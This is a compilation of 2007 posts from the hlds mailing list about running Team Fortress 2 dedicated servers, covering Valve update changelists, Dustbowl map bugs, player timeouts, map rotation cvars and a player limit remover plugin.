> > >>>> time, to remove the need for self-damage grinding
> > >>>> - Fixed an rcon/console command that could cause server crashes
> > >>>> - Prevented players from playing the "civilian" class
> > >>>> - Prevented players from hiding their name in the scoreboard
> > >>>> - Fixed exploit where the Medigun UberCharge wouldn't drain if you
> > >>>> switched weapons
> > >>>> - Fixed decals not being correctly applied to the world in some
> > cases
> > >>>> - Fixed critical bullet tracers not being visible to players other
> > than
> > >>>> the firer
> > >>>> - Fixed first person spectator view of the Spy watch not showing
> > the
> > >>>> correct cloak value
> > >>>> - Fixed the teleporter's player shaped particles not drawing
> > >>>> - Fixed the flamethrower stuttering when firing directly into a
> > >>>>
> > >> building
> > >>
> > >>>> - Fixed a rare crash that can happen when a player being healed
> > leaves
> > >>>> the server suddenly
> > >>>> - Fixed rocket trail effects sometimes existing permanently in
> > world
> > >>>> - Added effects to players when they earn an achievement, visible
> > to
> > >>>> other players nearby
> > >>>> - Tweaked achievement HUD fonts and color palette for more
> > readability
> > >>>> - Improved stat gathering for map play times to increase accuracy
> > >>>> - Improved stat gathering around draws to better understand why
> > they're
> > >>>> occurring
> > >>>> - Fixed occasional misreporting of syringe gun & fireaxe damage
> > >>>> distances to the stats system
> > >>>> - Fixed an occasional crash caused by an achievement not being
> > found
> > >>>> during a game announcement
> > >>>>
> > >>>> Dustbowl:
> > >>>> - Now waits until either team wins

Re: [hlds] Team Fortress 2/Dedicated Server updated

2007-12-20 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I'm not.

Hmm, very odd!

On Dec 20, 2007 6:25 PM, "[??R] The-/ wrote:

> P. Bhandal wrote:
> > --
> > [ Picked text/plain from multipart/alternative ]
> > Anybody having a problem where on the final stage of dustbowl if blue
> caps
> > the first point they instantly win?
> >
> > We've had it happen twice in a row now.
> >
> > On Dec 20, 2007 4:32 PM, Kitteny Berk <[EMAIL PROTECTED]> wrote:
> >
> >
> >> Just had a poke in HLSW, I think it might be
> >>
> >> mp_stalemate_enable
> >>
> >> Daron Dodd wrote:
> >>
> >>> when you say "- Sudden Death mode is now a server option (a convar)
> >>> and defaults to
> >>> OFF" whats the convar? so we can enable it
> >>>
> >>> On Dec 20, 2007 3:15 PM, Jason Ruymen <[EMAIL PROTECTED]>
> wrote:
> >>>
> >>>
> >>>> A required update to Team Fortress 2 and it's dedicated server have
> >>>>
> >> been
> >>
> >>>> released.  Please run hldsupdatetool to update.  The specific changes
> >>>> include:
> >>>>
> >>>> Team Fortress 2:
> >>>> - Sudden Death mode is now a server option (a convar) and defaults to
> >>>> OFF
> >>>> - Sapped buildings now take slightly less damage from the Spy who
> >>>>
> >> sapped
> >>
> >>>> them
> >>>> - The Medic's Medigun now charges at an increased rate during Setup
> >>>> time, to remove the need for self-damage grinding
> >>>> - Fixed an rcon/console command that could cause server crashes
> >>>> - Prevented players from playing the "civilian" class
> >>>> - Prevented players from hiding their name in the scoreboard
> >>>> - Fixed exploit where the Medigun UberCharge wouldn't drain if you
> >>>> switched weapons
> >>>> - Fixed decals not being correctly applied to the world in some cases
> >>>> - Fixed critical bullet tracers not being visible to players other
> than
> >>>> the firer
> >>>> - Fixed first person spectator view of the Spy watch not showing the
> >>>> correct cloak value
> >>>> - Fixed the teleporter's player shaped particles not drawing
> >>>> - Fixed the flamethrower stuttering when firing directly into a
> >>>>
> >> building
> >>
> >>>> - Fixed a rare crash that can happen when a player being healed
> leaves
> >>>> the server suddenly
> >>>> - Fixed rocket trail effects sometimes existing permanently in world
> >>>> - Added effects to players when they earn an achievement, visible to
> >>>> other players nearby
> >>>> - Tweaked achievement HUD fonts and color palette for more
> readability
> >>>> - Improved stat gathering for map play times to increase accuracy
> >>>> - Improved stat gathering around draws to better understand why
> they're
> >>>> occurring
> >>>> - Fixed occasional misreporting of syringe gun & fireaxe damage
> >>>> distances to the stats system
> >>>> - Fixed an occasional crash caused by an achievement not being found
> >>>> during a game announcement
> >>>>
> >>>> Dustbowl:
> >>>> - Now waits until either team wins fully before changing to another
> map
> >>>> on server timelimit expiring
> >>>> - Teams now score a point per captured control point, rather than per
> >>>> sub round
> >>>> - Prevented Demomen being able to launch grenades into the stage
> three
> >>>> alleys while standing at the final cap point
> >>>> - Fixed gaps in stage gates that allowed snipers to kill defenders
> >>>> during setup
> >>>> - Fixed several model and brush perch exploits in stage three
> >>>> - Added stair access to the upper area in stage three after the first
> >>>> cap
> >>>> - Limited line-of-sight at the first control point in stage 3 to
> remove
> >>>> a griefable sniper spot
> >>>>
> >>>> Source Engine:
> >>>> - Fixed some audio buffer support issues with Vista
> >>>> - WorldVertexTransition unde

Re: [hlds] Team Fortress 2/Dedicated Server updated

2007-12-20 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Anybody having a problem where on the final stage of dustbowl if blue caps
the first point they instantly win?

We've had it happen twice in a row now.

On Dec 20, 2007 4:32 PM, Kitteny Berk <[EMAIL PROTECTED]> wrote:

> Just had a poke in HLSW, I think it might be
>
> mp_stalemate_enable
>
> Daron Dodd wrote:
> > when you say "- Sudden Death mode is now a server option (a convar)
> > and defaults to
> > OFF" whats the convar? so we can enable it
> >
> > On Dec 20, 2007 3:15 PM, Jason Ruymen <[EMAIL PROTECTED]> wrote:
> >
> >> A required update to Team Fortress 2 and it's dedicated server have
> been
> >> released.  Please run hldsupdatetool to update.  The specific changes
> >> include:
> >>
> >> Team Fortress 2:
> >> - Sudden Death mode is now a server option (a convar) and defaults to
> >> OFF
> >> - Sapped buildings now take slightly less damage from the Spy who
> sapped
> >> them
> >> - The Medic's Medigun now charges at an increased rate during Setup
> >> time, to remove the need for self-damage grinding
> >> - Fixed an rcon/console command that could cause server crashes
> >> - Prevented players from playing the "civilian" class
> >> - Prevented players from hiding their name in the scoreboard
> >> - Fixed exploit where the Medigun UberCharge wouldn't drain if you
> >> switched weapons
> >> - Fixed decals not being correctly applied to the world in some cases
> >> - Fixed critical bullet tracers not being visible to players other than
> >> the firer
> >> - Fixed first person spectator view of the Spy watch not showing the
> >> correct cloak value
> >> - Fixed the teleporter's player shaped particles not drawing
> >> - Fixed the flamethrower stuttering when firing directly into a
> building
> >> - Fixed a rare crash that can happen when a player being healed leaves
> >> the server suddenly
> >> - Fixed rocket trail effects sometimes existing permanently in world
> >> - Added effects to players when they earn an achievement, visible to
> >> other players nearby
> >> - Tweaked achievement HUD fonts and color palette for more readability
> >> - Improved stat gathering for map play times to increase accuracy
> >> - Improved stat gathering around draws to better understand why they're
> >> occurring
> >> - Fixed occasional misreporting of syringe gun & fireaxe damage
> >> distances to the stats system
> >> - Fixed an occasional crash caused by an achievement not being found
> >> during a game announcement
> >>
> >> Dustbowl:
> >> - Now waits until either team wins fully before changing to another map
> >> on server timelimit expiring
> >> - Teams now score a point per captured control point, rather than per
> >> sub round
> >> - Prevented Demomen being able to launch grenades into the stage three
> >> alleys while standing at the final cap point
> >> - Fixed gaps in stage gates that allowed snipers to kill defenders
> >> during setup
> >> - Fixed several model and brush perch exploits in stage three
> >> - Added stair access to the upper area in stage three after the first
> >> cap
> >> - Limited line-of-sight at the first control point in stage 3 to remove
> >> a griefable sniper spot
> >>
> >> Source Engine:
> >> - Fixed some audio buffer support issues with Vista
> >> - WorldVertexTransition under dxlevel 80 + 81 now correctly uses vertex
> >> alpha to blend the two textures
> >> - Improved the console in the graphical UI version of the dedicated
> >> server
> >>
> >> SourceTV:
> >> - Relay proxies can now record demos now with tv_autorecord 1
> >> - Fixed an interpolation code bug during demo playback that was
> >> resulting in view jitter
> >> - Added several TF specific game events to SourceTV auto director logic
> >> - Increased the average shot length by 2 seconds
> >>
> >> Jason
> >>
> >>
> >> ___
> >> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> >> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>
> >>
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> >
>
>
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
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Re: [hlds] HLDS not switching maps?

2007-11-12 Thread P. Bhandal
mp_timelimit 30

On Nov 12, 2007 7:10 PM, Joseph H Harrison <[EMAIL PROTECTED]> wrote:
> This is a multi-part message in MIME format.
> --
> I just started up with hosting a server again after years of nothing.  I
> used to do TFC servers years ago.
>
> I can seem to get my server to switch maps after 30 minutes.  I'm new to
> this version of the dedicated server so I am hitting you guys up for advice.
>
> -Joe
> --
> [ winmail.dat of type application/ms-tnef deleted ]
> --
>
>
>
> ___
> To unsubscribe, edit your list preferences, or view the list archives, please 
> visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>

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Re: [hlds] users timed out

2007-10-29 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I was wondering the exact same thing, I've been getting it a lot on my TF2
servers.

Occasionally up to half of the server will get kicked out.

I don't use SourceMod myself, I use Mani. I also run metamod source on the
server.

I have three servers on the machine, a 24 man cs:s gungame, 32 man TF2 and
another 32 man TF2. Both of the 32 man TF2 servers are affected, but they
usually don't get the time out errors simultaneously.


On 10/29/07, Eric van Beesten <[EMAIL PROTECTED]> wrote:
>
> Dit is een meerdelig bericht met een MIME-indeling.
> --
> [ Picked text/plain from multipart/alternative ]
> Hee guys,
>
>
>
> Just a question. Sinds a few days our server has a little problem.
> Sometimes
> in the middle of the map players got kicked for time out. for example see
> below. This is only happening in the last few days and never happened
> before. The server is a amd 3000 and tf2 has been installed there from the
> beginning. The addon installed is sourcemod (but I don't think that is the
> problem).
>
>
>
> Anyway, this problems is happening in the last few days. Anyone know what
> the problem is? Or how it can be solved?
>
>
>
> Greetz,
>
>
>
> Eric
>
>
>
> Logfile of the event:
>
>
>
> L 10/29/2007 - 15:17:43: "[MoX] Paulonski<1496>"
> disconnected (reason "[MoX] Paulonski timed out")
>
> L 10/29/2007 - 15:17:43: "Prometheux<1539>"
> disconnected (reason "Prometheux timed out")
>
> L 10/29/2007 - 15:17:43: "Dae<1378>" disconnected
> (reason "Dae timed out")
>
> L 10/29/2007 - 15:17:43: "DasB<1470>" disconnected
> (reason "DasB timed out")
>
> L 10/29/2007 - 15:17:43: "a.C.e Lee`<1448>"
> disconnected (reason "a.C.e Lee` timed out")
>
> L 10/29/2007 - 15:17:43: "bs910593<1485>"
> disconnected
> (reason "bs910593 timed out")
>
> L 10/29/2007 - 15:17:43: "woepsiepoespie_78<1511>"
> disconnected (reason "woepsiepoespie_78 timed out")
>
> L 10/29/2007 - 15:17:43: "a.C.e Juicy<1441>"
> disconnected (reason "a.C.e Juicy timed out")
>
> L 10/29/2007 - 15:17:43: "Zsolt<1492>" disconnected
> (reason "Zsolt timed out")
>
> L 10/29/2007 - 15:17:43: "ADAMANDEVE<1443>"
> disconnected (reason "ADAMANDEVE timed out")
>
> L 10/29/2007 - 15:17:43: "xre<1429>" disconnected
> (reason "xre timed out")
>
> L 10/29/2007 - 15:17:43: "ChuChuTrain<1455>"
> disconnected (reason "ChuChuTrain timed out")
>
> L 10/29/2007 - 15:17:43: "Mambozaaa!<1410>"
> disconnected (reason "Mambozaaa! timed out")
>
> L 10/29/2007 - 15:17:43: "Mulle<1390>" disconnected
> (reason "Mulle timed out")
>
> L 10/29/2007 - 15:17:43: "PrezX<1480>" disconnected
> (reason "PrezX timed out")
>
> --
>
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
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Re: [hlds] Team Fortress 2/Dedicated Server Update

2007-10-26 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
If you have a hacked engine.dll, server.dll or a player limit remover plugin
that may be causing your problem if they have not been updated to compatible
versions.

If that's not the case, try deleting the contents of your orangebox/bin
directory, and your orangebox/tf2/bin directory, then retry the update with
-verify_all -retry appended to the end.

HTH.

On 10/26/07, CAIN <[EMAIL PROTECTED]> wrote:
>
> I'm having trouble updating my server.
>
> The update appeared to occur normally, however when I try to restart it,
> it
> still says server out of date please update.
>
> Suggestions please ??
>
> -- Cain
>
>
>
> __
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
> ___
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> please visit:
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>
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Re: [hlds] Max Ping Cvar

2007-09-30 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I don't believe it's possible at the moment due to the absence of an SDK.

On 9/30/07, Patrick Shelley <[EMAIL PROTECTED]> wrote:
>
> --
> [ Picked text/plain from multipart/alternative ]
> Can someone make a plugin/dll to boot clients over a certain ping?
>
> I think mani had this, but as mani's plugin is reported to be unstable for
> TF2, i dont wanna use it.
>
> Getting fed up with players with too high a ping and slowing things down.
> Sometimes i'm away for the day or at work and cannot be logged into HLSW
> to
> oversee things.
>
> Grateful for any help/advice/scripts ;)
>
> Pat
> --
>
> ___
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> please visit:
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>
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Re: [hlds] Player Limit Remover plugin

2007-09-30 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
It was a joke ;) The server crashes within minutes if the player limit is >
32.

On 9/30/07, Robert Whelan <[EMAIL PROTECTED]> wrote:
>
> --
> [ Picked text/plain from multipart/alternative ]
> 150 man lagfest.. pointless. There are limits for a reason...
>
>
> - Original Message 
> From: P. Bhandal <[EMAIL PROTECTED]>
> To: hlds@list.valvesoftware.com
> Sent: Sunday, September 30, 2007 6:41:52 AM
> Subject: Re: [hlds] Player Limit Remover plugin
>
>
> --
> [ Picked text/plain from multipart/alternative ]
> Go for it. In the meantime would you like to play on my 150 man dustbowl
> server?
>
> http://www.theqclan.com/upload/150mandustbowl.jpg
>
> Removing the player limit and having a stable playable server are two
> different things ;) There's a reason that there's no server out there with
> more than 32 slots for DoD, and why no TF2 servers are running more than
> 32
> slots.
>
> On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> >
> > --
> > [ Picked text/plain from multipart/alternative ]
> > No offence but I think I'll wait for a response from it's author as it
> > states on the link
> >
> >
> http://www.sourceop.com/modules.php?name=Downloads&d_op=viewdownload&cid=4
> >
> >   Player Limit Remover Windows 1.0 (CSS, DOD:S,
> > HL2MP)<
> > http://www.sourceop.com/modules.php?name=Downloads&d_op=getit&lid=15>
> > [image: New Today]
> > *Description:* The Player Limit Remover plugin.
> >
> >
> > On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > >
> > > --
> > > [ Picked text/plain from multipart/alternative ]
> > > There isn't any. Why do you think noone has bothered with a limit
> > removal
> > > plugin for DoD before now?
> > >
> > > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > > >
> > > > --
> > > > [ Picked text/plain from multipart/alternative ]
> > > > So what would be the point for DoD:S where you can already run 32?
> > > >
> > > > On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > > > >
> > > > > --
> > > > > [ Picked text/plain from multipart/alternative ]
> > > > > It effectively allows you to run 32 players, it just doesn't allow
> > you
> > > > to
> > > > > run more.
> > > > >
> > > > > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > > > > >
> > > > > > --
> > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > Isn't the point of this plugin to allow you to run more than 32
> or
> > > 24?
> > > > > >
> > > > > > On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > > > > > >
> > > > > > > --
> > > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > > Both TF2 and DoD will crash if you try to run more than 32
> > > players.
> > > > > > >
> > > > > > > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > > > > > > >
> > > > > > > > --
> > > > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > > > Sorry to report, it also crashed the TF server after the 4th
> > > > player
> > > > > > > joined
> > > > > > > > -
> > > > > > > > running Win2K3 on Core2Duo Conroe
> > > > > > > >
> > > > > > > > On 9/30/07, Tony Paloma <[EMAIL PROTECTED]> wrote:
> > > > > > > > >
> > > > > > > > > This is a multipart message in MIME format.
> > > > > > > > > --
> > > > > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > > > > I made a plugin (even works with TF2) to remove the player
> > > > limit.
> > > > > > You
> > > > > > > > can
> > > > > > > > > download the plugin here:
> > > > > > > > > http://www.sourceop.com/modules.php?name=Downloads
> > > > > > > > > <
> > > >

Re: [hlds] Player Limit Remover plugin

2007-09-30 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Go for it. In the meantime would you like to play on my 150 man dustbowl
server?

http://www.theqclan.com/upload/150mandustbowl.jpg

Removing the player limit and having a stable playable server are two
different things ;) There's a reason that there's no server out there with
more than 32 slots for DoD, and why no TF2 servers are running more than 32
slots.

On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
>
> --
> [ Picked text/plain from multipart/alternative ]
> No offence but I think I'll wait for a response from it's author as it
> states on the link
>
> http://www.sourceop.com/modules.php?name=Downloads&d_op=viewdownload&cid=4
>
>   Player Limit Remover Windows 1.0 (CSS, DOD:S,
> HL2MP)<
> http://www.sourceop.com/modules.php?name=Downloads&d_op=getit&lid=15>
> [image: New Today]
> *Description:* The Player Limit Remover plugin.
>
>
> On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> >
> > --
> > [ Picked text/plain from multipart/alternative ]
> > There isn't any. Why do you think noone has bothered with a limit
> removal
> > plugin for DoD before now?
> >
> > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > >
> > > --
> > > [ Picked text/plain from multipart/alternative ]
> > > So what would be the point for DoD:S where you can already run 32?
> > >
> > > On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > > >
> > > > --
> > > > [ Picked text/plain from multipart/alternative ]
> > > > It effectively allows you to run 32 players, it just doesn't allow
> you
> > > to
> > > > run more.
> > > >
> > > > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > > > >
> > > > > --
> > > > > [ Picked text/plain from multipart/alternative ]
> > > > > Isn't the point of this plugin to allow you to run more than 32 or
> > 24?
> > > > >
> > > > > On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > > > > >
> > > > > > --
> > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > Both TF2 and DoD will crash if you try to run more than 32
> > players.
> > > > > >
> > > > > > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > > > > > >
> > > > > > > --
> > > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > > Sorry to report, it also crashed the TF server after the 4th
> > > player
> > > > > > joined
> > > > > > > -
> > > > > > > running Win2K3 on Core2Duo Conroe
> > > > > > >
> > > > > > > On 9/30/07, Tony Paloma <[EMAIL PROTECTED]> wrote:
> > > > > > > >
> > > > > > > > This is a multipart message in MIME format.
> > > > > > > > --
> > > > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > > > I made a plugin (even works with TF2) to remove the player
> > > limit.
> > > > > You
> > > > > > > can
> > > > > > > > download the plugin here:
> > > > > > > > http://www.sourceop.com/modules.php?name=Downloads
> > > > > > > > <
> > > > > > > >
> > > > > > >
> > > > > >
> > > > >
> > > >
> > >
> >
> http://www.sourceop.com/modules.php?name=Downloads&d_op=viewdownload&cid=4
> > > > > > > > >
> > > > > > > > &d_op=viewdownload&cid=4
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > Hopefully this will stop people from having to edit the
> server
> > > > dll.
> > > > > > > >
> > > > > > > > --
> > > > > > > >
> > > > > > > >
> > > > > > > > ___
> > > > > > > > To unsubscribe, edit your list preferences, or view the list
> > > > > archives,
> > > > > > > > please visit:
> > > > > > > > http:

Re: [hlds] Player Limit Remover plugin

2007-09-30 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
There isn't any. Why do you think noone has bothered with a limit removal
plugin for DoD before now?

On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
>
> --
> [ Picked text/plain from multipart/alternative ]
> So what would be the point for DoD:S where you can already run 32?
>
> On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> >
> > --
> > [ Picked text/plain from multipart/alternative ]
> > It effectively allows you to run 32 players, it just doesn't allow you
> to
> > run more.
> >
> > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > >
> > > --
> > > [ Picked text/plain from multipart/alternative ]
> > > Isn't the point of this plugin to allow you to run more than 32 or 24?
> > >
> > > On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> > > >
> > > > --
> > > > [ Picked text/plain from multipart/alternative ]
> > > > Both TF2 and DoD will crash if you try to run more than 32 players.
> > > >
> > > > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > > > >
> > > > > --
> > > > > [ Picked text/plain from multipart/alternative ]
> > > > > Sorry to report, it also crashed the TF server after the 4th
> player
> > > > joined
> > > > > -
> > > > > running Win2K3 on Core2Duo Conroe
> > > > >
> > > > > On 9/30/07, Tony Paloma <[EMAIL PROTECTED]> wrote:
> > > > > >
> > > > > > This is a multipart message in MIME format.
> > > > > > --
> > > > > > [ Picked text/plain from multipart/alternative ]
> > > > > > I made a plugin (even works with TF2) to remove the player
> limit.
> > > You
> > > > > can
> > > > > > download the plugin here:
> > > > > > http://www.sourceop.com/modules.php?name=Downloads
> > > > > > <
> > > > > >
> > > > >
> > > >
> > >
> >
> http://www.sourceop.com/modules.php?name=Downloads&d_op=viewdownload&cid=4
> > > > > > >
> > > > > > &d_op=viewdownload&cid=4
> > > > > >
> > > > > >
> > > > > >
> > > > > > Hopefully this will stop people from having to edit the server
> > dll.
> > > > > >
> > > > > > --
> > > > > >
> > > > > >
> > > > > > ___
> > > > > > To unsubscribe, edit your list preferences, or view the list
> > > archives,
> > > > > > please visit:
> > > > > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > > > > >
> > > > > --
> > > > >
> > > > > ___
> > > > > To unsubscribe, edit your list preferences, or view the list
> > archives,
> > > > > please visit:
> > > > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > > > >
> > > > --
> > > >
> > > > ___
> > > > To unsubscribe, edit your list preferences, or view the list
> archives,
> > > > please visit:
> > > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > > >
> > > --
> > >
> > > ___
> > > To unsubscribe, edit your list preferences, or view the list archives,
> > > please visit:
> > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >
> > --
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> --
>
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
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Re: [hlds] Player Limit Remover plugin

2007-09-30 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
It effectively allows you to run 32 players, it just doesn't allow you to
run more.

On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
>
> --
> [ Picked text/plain from multipart/alternative ]
> Isn't the point of this plugin to allow you to run more than 32 or 24?
>
> On 9/30/07, P. Bhandal <[EMAIL PROTECTED]> wrote:
> >
> > --
> > [ Picked text/plain from multipart/alternative ]
> > Both TF2 and DoD will crash if you try to run more than 32 players.
> >
> > On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
> > >
> > > --
> > > [ Picked text/plain from multipart/alternative ]
> > > Sorry to report, it also crashed the TF server after the 4th player
> > joined
> > > -
> > > running Win2K3 on Core2Duo Conroe
> > >
> > > On 9/30/07, Tony Paloma <[EMAIL PROTECTED]> wrote:
> > > >
> > > > This is a multipart message in MIME format.
> > > > --
> > > > [ Picked text/plain from multipart/alternative ]
> > > > I made a plugin (even works with TF2) to remove the player limit.
> You
> > > can
> > > > download the plugin here:
> > > > http://www.sourceop.com/modules.php?name=Downloads
> > > > <
> > > >
> > >
> >
> http://www.sourceop.com/modules.php?name=Downloads&d_op=viewdownload&cid=4
> > > > >
> > > > &d_op=viewdownload&cid=4
> > > >
> > > >
> > > >
> > > > Hopefully this will stop people from having to edit the server dll.
> > > >
> > > > --
> > > >
> > > >
> > > > ___
> > > > To unsubscribe, edit your list preferences, or view the list
> archives,
> > > > please visit:
> > > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > > >
> > > --
> > >
> > > ___
> > > To unsubscribe, edit your list preferences, or view the list archives,
> > > please visit:
> > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >
> > --
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> --
>
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
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Re: [hlds] Player Limit Remover plugin

2007-09-30 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Both TF2 and DoD will crash if you try to run more than 32 players.

On 9/30/07, Col Grigson <[EMAIL PROTECTED]> wrote:
>
> --
> [ Picked text/plain from multipart/alternative ]
> Sorry to report, it also crashed the TF server after the 4th player joined
> -
> running Win2K3 on Core2Duo Conroe
>
> On 9/30/07, Tony Paloma <[EMAIL PROTECTED]> wrote:
> >
> > This is a multipart message in MIME format.
> > --
> > [ Picked text/plain from multipart/alternative ]
> > I made a plugin (even works with TF2) to remove the player limit. You
> can
> > download the plugin here:
> > http://www.sourceop.com/modules.php?name=Downloads
> > <
> >
> http://www.sourceop.com/modules.php?name=Downloads&d_op=viewdownload&cid=4
> > >
> > &d_op=viewdownload&cid=4
> >
> >
> >
> > Hopefully this will stop people from having to edit the server dll.
> >
> > --
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> --
>
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
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Re: [hlds] Empty servers not moving on....

2007-09-27 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I'm not sure if that's specific to the Orange box engine though, I seem to
recall the same thing happening on my CS servers.

I'm sure someone will correct me if I'm wrong, but if the server is empty
the timelimit will run until its out, and then it will wait to change the
map until someone has joined the server.

On 9/27/07, Patrick Shelley <[EMAIL PROTECTED]> wrote:
>
> --
> [ Picked text/plain from multipart/alternative ]
> as far as i know - empty servers dont change maps. i had this (and as long
> as the mp_timelimit is set) and it was all ok when there were players.
>
> On 9/27/07, MeZelf <[EMAIL PROTECTED]> wrote:
> >
> > Updated TF2 servers and restarted them.
> > But now I notice that empty servers don't move on to the next map
> anymore.
> > With a mp_timelimit 25 I have 4 servers atm that still haven't changed
> > after
> > 90 minutes.
> >
> > Will there be a fix for this fix from yesterday?
> >
> >
> > Sebastiaan
> > (currently at work so I can't join them to check the remaining time)
> >
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> --
>
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
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Re: [hlds] Team Fortress 2 Server Updated/Linux Server available

2007-09-20 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
What's the cvar for it?

On 9/20/07, Andreas Grimm <[EMAIL PROTECTED]> wrote:
>
> I am missing one point in that changelist:
>
> - Added cvars to control/disable the respawn time
>
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of Jason Ruymen
> > Sent: Friday, September 21, 2007 1:51 AM
> > To: hlds@list.valvesoftware.com;
> > [EMAIL PROTECTED];
> > [EMAIL PROTECTED]
> > Subject: [hlds] Team Fortress 2 Server Updated/Linux Server available
> >
> > Updates to the Team Fortress 2 dedicated server have been
> > released.  And the Linux version of the server is now
> > available :)  Run "hldsupdatetool -command update -game tf"
> > to receive those updates.  The specific changes include:
> >
> > - Linux Dedicated Server beta release
> > - Fixed not being able to issue rcon commands with empty strings like:
> > rcon sv_password
> > - Exploit fix related to "join_team"
> >
> > Jason
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list
> > archives, please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
>
>
> ___
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> please visit:
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[hlds] Player dropping.

2007-09-20 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Has anyone else noticed any issues with their server dropping everyone after
a map change? It doesn't seem to be specific to any map, but occasionally
with a few of my servers it'll drop everyone off the server.
--

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